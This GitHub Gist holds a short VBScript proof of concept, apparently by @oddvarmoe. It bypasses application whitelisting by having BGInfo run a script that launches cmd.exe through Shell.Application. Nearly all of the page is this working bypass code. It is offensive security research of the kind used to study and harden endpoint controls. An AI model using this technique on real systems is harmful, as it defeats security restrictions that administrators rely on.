Created
May 18, 2017 18:20
-
-
Save api0cradle/efc90f8318556f0737791b6d73a4ec8b to your computer and use it in GitHub Desktop.
bginfo.vbs
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
'PoC code: Application whitelisting bypass using bginfo | |
'Author: @oddvarmoe - http://oddvar.moe | |
strProgram = "cmd.exe" | |
strPath = "C:\windows\system32" | |
Set fso = CreateObject("Scripting.FileSystemObject") | |
strCommand = fso.BuildPath(strPath, strProgram) | |
Set app = CreateObject("Shell.Application") | |
app.ShellExecute strCommand, , strPath, , 1 | |
echo "Does not matter what this says" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment